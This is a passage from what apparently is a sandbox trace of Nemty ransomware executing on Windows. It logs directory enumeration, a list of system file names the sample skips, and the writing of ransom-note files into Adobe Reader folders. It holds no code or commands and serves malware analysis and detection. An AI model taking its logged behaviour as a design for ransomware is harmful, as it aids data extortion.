lpString2="CONFIG.SYS") returned -1 [0172.542] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.542] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.542] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.542] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.542] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0172.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.542] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a776970, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a776970, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a776970, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.543] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.543] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2=".") returned 1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="..") returned 1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="...") returned 1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="windows") returned -1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="$RECYCLE.BIN") returned 1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="rsa") returned -1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="NTDETECT.COM") returned -1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="ntldr") returned -1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="MSDOS.SYS") returned -1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="IO.SYS") returned -1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="boot.ini") returned 1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="boot.ini") returned 1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="AUTOEXEC.BAT") returned 1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="ntuser.dat") returned -1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="desktop.ini") returned -1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="CONFIG.SYS") returned -1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="RECYCLER") returned -1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="BOOTSECT.BAK") returned 1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="bootmgr") returned 1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="programdata") returned -1 [0172.543] lstrcmpiW (lpString1="CHS", lpString2="appdata") returned 1 [0172.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHS", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHS", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHS", lpUsedDefaultChar=0x0) returned 3 [0172.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHS", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHS", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHS", lpUsedDefaultChar=0x0) returned 3 [0172.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.544] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.545] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.545] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.546] CloseHandle (hObject=0x254) returned 1 [0172.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.546] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.547] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.547] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.548] CloseHandle (hObject=0x254) returned 1 [0172.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.548] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a7c2c30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a7c2c30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.548] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.548] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a7c2c30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a7c2c30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.548] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.548] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.548] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0172.548] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0172.548] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0172.548] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0172.548] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0172.548] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0172.548] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0172.548] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0172.548] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0172.548] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0172.548] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0172.548] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.548] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.549] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0172.549] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0172.549] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0172.549] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0172.549] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0172.549] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0172.549] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0172.549] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0172.549] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0172.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.550] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12dac, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0172.550] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0172.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.550] HeapFree (in: 